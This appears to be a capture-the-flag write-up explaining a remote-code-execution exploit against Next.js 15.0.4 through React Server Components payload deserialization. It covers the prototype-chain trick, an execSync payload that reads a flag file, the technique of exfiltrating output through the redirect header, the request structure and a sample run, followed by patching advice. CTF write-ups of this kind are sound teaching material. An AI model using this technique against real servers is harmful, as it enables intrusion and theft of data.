CIT CTF 2026 · Server Components: RCE via Next.js 15 RSC deserialization
The challenge name is Server Components and the attachment ships a full Next.js project. package.json pins the version:
"next": "15.0.4",
"react": "19.0.0"
Next.js 15.0.4 + App Router + React Server Components. That version sits squarely inside the window for CVE-2025-55182 / CVE-2025-66478 — RSC payload deserialization leading to RCE. From the Dockerfile:
RUN mkdir -p /opt && echo 'CIT{test_flag}' > /opt/flag.txt
The flag is outside the web root, which is the author saying “you must RCE — file disclosure alone won’t get you the flag”.
How the bug works (compressed)
The RSC wire format lets strings reference other chunks’ inner properties via $N:path:to:prop. When the parser handles a resolved_model chunk’s _response object, it never validates whether _prefix / _formData.get are user-controllable.
Setting the then field to $N:__proto__:then walks the runtime up the prototype chain to Object.prototype.then. A couple of property rebinds later, _prefix is passed into Function(_prefix) — arbitrary JS execution.
Standard payload from there:
require('child_process').execSync('cat /opt/flag.txt')
Exfil channel: the canonical trick is to throw NEXT_REDIRECT deliberately, stash the payload in the digest URL, and let the server copy it into the X-Action-Redirect response header — base64-encoded command output is echoed back verbatim.
Exploit
exploit.py follows the public PoC structure:
Next-Action+X-Nextjs-Request-Idheaders to mimic a Server Action request.name="0"in the multipart body is the fakeresolved_modelcarrying the_prefixpayload.- The payload runs
execSync, base64-encodes the output, then throwsNEXT_REDIRECT. name="1".."N"slots are filled withnull; the final one is"$@0"to trigger the reference into chunk 0.
cd Web-ServerComponents
uv run python exploit.py http://23.179.17.92:5555 'cat /opt/flag.txt'
[status 303] X-Action-Redirect: NEXT_REDIRECT;push;/login?a=Q0lUe1IzYUNUXzFzX1Z1MW4zckBibDN9...
--- output ---
CIT{R3aCt_1s_Vu1n3r@bl3}
CIT{R3aCt_1s_Vu1n3r@bl3}
Postmortem
- “Framework version + last six months of CVEs” is the fastest path on Web challenges. React 19 RSC went GA late last year and the early-year deserialization issues blanket a lot of CTF mileage.
- For real Next.js deployments, stay on the latest 15.0.x patch and don’t toggle the “bypass ESM lockdown” flag. Vercel’s defaults are typically OK; self-hosted containers are where the foot-guns hide.
- The class of bugs is “the serializer treats strings inside the payload as instructions”. RSC, Astro Server Islands, Remix deferred loaders all share the abstraction — expect more of this class for another year or two.